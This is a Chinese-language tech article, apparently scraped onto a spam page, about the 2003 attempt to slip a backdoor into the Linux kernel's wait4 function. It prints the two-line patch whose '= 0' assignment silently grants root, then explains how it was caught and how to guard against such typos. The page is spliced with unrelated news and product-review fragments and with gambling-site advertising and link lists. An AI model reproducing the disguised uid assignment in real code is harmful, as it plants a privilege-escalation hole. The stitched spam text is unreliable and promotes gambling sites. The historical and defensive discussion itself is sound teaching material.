|
|
|
|
移动端
创建专栏

如何在Linux中安插一个后门?

本文来源:http://www.133845.com/y_qq_com/

申博官网下载直营网,  本届大赛一等奖获18万元港元奖金,二等奖、三等奖奖金分别获12万元港元和6万元港元,获奖项目可优先进驻前海深港青年梦工场。  足浴姑娘月薪近万  努力拼搏不忘唱歌梦  朱慧是一个活泼开朗的姑娘,她今年才21岁,没有读过大学,高中也中途辍学,这样的经历使她的就业之路颇为坎坷。谈开放:不做成吉思汗,独霸天下最终是要灭亡的彭剑锋:是的!我很同情我们人大的一些青年教师,为评职称,不惜一切代价写低水平重复无价值的所谓学术论文,成为爬格子的奴隶,更没有时间深入企业了解和研究案例!当年我们在华为,一年就呆了150多天,现在的年轻人在企业呆三天都呆不住,象黄卫伟老师和吴春波老师在华为做顾问一干就是二十年,这也是阿甘精神在学者身上的体现。张尧学院士。

品牌型号M6SPlus128G产品链接IT商城  编辑点评:浦科特作为固态硬盘的领导行业,一直以上佳的原料品质,以及优秀的固件算法打造SSD,今日推荐的这款M6SPLUS采用全新15nmNAND外加马牌主控,在速度上完全不用担心,配合上一线原厂料件,实现超长使用寿命毫无压力。鼓励广大高校以科研为主的教师,不断取得具有世界水平的科技成果,成为建设世界科技强国的主力军。如果看到这篇文章的朋友也觉得小米不行,也请你告诉我,小米究竟哪不行了?在心理学中有一种现象叫“羊群效应”也叫“从众效应”,是个人的观念或行为由于真实的或想像的群体的影响或压力,而向与多数人相一致的方向变化的现象。该报称,防弹背心、特种夹克和防风裤使用的是可抵挡北极寒风同时可透过微气孔进行排湿的薄膜织物。

更好的中兴更好的中兴意味着什么?不仅在于我们实现了稳健较快的营收增长,还在于我们为客户创造价值的核心能力在提升,这才是中兴得以生存发展的根本。《规划》提出,有条件的北方地区中小学应将冰雪运动项目纳入冬季体育课教学内容,全国中小学校园冰雪运动特色学校预计在2020年达到2000所。6,慧说终端:切换不过一键之间,卡槽之争的时代最近,深圳市教育局公示2016年中小学生探究性小课题评审结果,600个被批准立项的中小学生小课题,按照小学1.5万元/项、中学2万元/项的标准获得研究经费。

Linux内核是开源的代码,能不能向其中安插一个后门呢?这是一件难度很高的操作,但是有人却差点儿成功了,我们来看看这是怎么回事。

作者:码农翻身|2019-09-10 09:12

Linux内核是开源的代码,能不能向其中安插一个后门呢?这是一件难度很高的操作,但是有人却差点儿成功了,我们来看看这是怎么回事。

时间回到2003年,当时Linux内核的代码主仓库保存在一个叫做BitKeeper的商业软件中。如果想对Linux内核代码进行修改的话,需要走一个审批流程,以此来确定这次更改能否被接受。每一次更改都有一个简单的说明,其中包含一个指向审批记录的链接。

但是有些人不喜欢BitKeeper(堂堂的Linux怎么能保存在闭源的商业软件中?!), 于是一个CVS(估计好多人都没听说过它了吧)被建立了起来,其中保存着从BitKeeper clone来的代码, 这样开发人员可以用开源的CVS来访问Linux代码。

2003年11月5号,Larry McVoy 注意到了一件怪事,CVS中的一个代码变更没有包含审批记录的链接, 这是怎么回事?

经过一番调查发现:从来没有人批准过这个代码变更,奇怪的是,这个代码变更并没有出现在BitKeeper主仓库中,原来是有人黑进了CVS的服务器,偷偷插入了一段代码。这段代码到底做了什么事情呢?

这段代码修改了一个叫做wait4的Linux函数,程序可以使用wait4来等待一些事情的发生,这个代码变更增加了这么两行:

  1. if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) 
  2.         retval = -EINVAL; 

(代码可左右滑动,懂得C语言的同学可以思考下,这段代码有什么不寻常的?)

粗一看这段代码,就会觉得这没啥啊?不就是做一点条件检查吗,不满足条件就返回错误。

但是仔细看看就会发现事情不对,第一行的最后, 有个"current->uid=0", 而不是 "current->uid == 0" 。

正常的写法应该是“==0”, 就是检查当前的用户ID是不是0, 写成“=0”就是把当前用户ID设置为0 , 而ID为0的用户是"root" !

这就意味着,如果这段代码被执行,当前用户就会变成root,可以在系统中为所欲为!

这其实是个经典的后门, 想象一个,一个黑客在Linux运行了一个程序,这个程序调用了wait4, 然后这个黑客突然间具备了root权限!

这个后门可是真够聪明的,伪装成了条件检查,试图蒙混过关,如果一直没人发现会怎么样呢?

首先,后门存在CVS中,不在BitKeeper的主仓库中,从BitKeeper 代码库Build出的Linux肯定没问题, 但是如果有人从CVS代码库中build了Linux, 那就中招了。

其次,搞破坏的家伙可能有这样的预期:有个被Linus Torvalds所信任的内核开发者,他讨厌BitKeeper,并且在使用CVS, 那当他修改了代码,准备通过邮件的方式向Linus Torvalds发送patch的时候发现,咦,wait4这里也有个code change, 是做条件检查的,也包括进去吧。Linus收到补丁,一看是自己信任的兄弟提交的,没有仔细检查,于是后门代码进入了主代码仓库。

这当然是猜测的场景,也算是一种社会工程学攻击吧,不过Linux团队非常小心,把这个后门给揪了出来。

故事到这里就可以结束了,再就这个话题扩展一下,多说两句。

我记得刚工作的时候,有个同事给我说,在C语言中,当需要和0比较的时候,可以把0放到前面,这么写:

  1. if( 0 == user_id){ ....... } 

这样即使把 == 写成了 = , 编译器就会发现错误。我当时觉得挺古怪的,把一个数字放到前面,变量放到后面。后来习惯了,在Java 也经常会这样写 if (null == user){ ...... }

其实现在的IDE都很智能了,像这种把==写成=的情况,IDE就可以给出警告。即使没有用IDE,如果对源码做静态的代码分析,也会被抓出来的警告的。

Linux是开源的代码,任何人,只要你愿意,都可以查看所有的代码,这相当于把Linux放到了阳光底下,无数双眼睛都盯着看,这种透明度使得在其中安插一个后门是非常难的。

参考资料:

/lwn_net/Articles/57135/

/freedom-to-tinker_com/2013/10/09/the-linux-backdoor-attempt-of-2003/

【本文为51CTO专栏作者“刘欣”的原创稿件,转载请通过作者微信公众号coderising获取授权】

申博官网下载直营网戳这里,看该作者更多好文

【编辑推荐】

  1. Linux 里的 exFAT 是微软的“特洛伊木马”
  2. Linux怎么设置环境变量
  3. 5分钟学会两年经验Linux运维都不懂的内核问题
  4. 28个Unix/Linux的命令行神器
  5. Linux怎么查看正在运行的进程的CPU和内存使用率?
【责任编辑:武晓燕 TEL:(010)68476606】

点赞 0
分享:
大家都在看
猜你喜欢
太阳城申博桌面安装版下载 申博免费开户官网登入 www.66990.com 申博开户登入 申博手机版下载网址 申博游戏端登入
申博怎么注册登入 申博138微信支付充值 申博官网下载登入 申博开户送28元 网上百家乐登入 太阳城网上娱乐官网
菲律宾申博老虎机直营 申博管理网直营 申博官网登录登入 菲律宾申博88msc娱乐 申博代理管理网登入 申博在线娱乐登入网址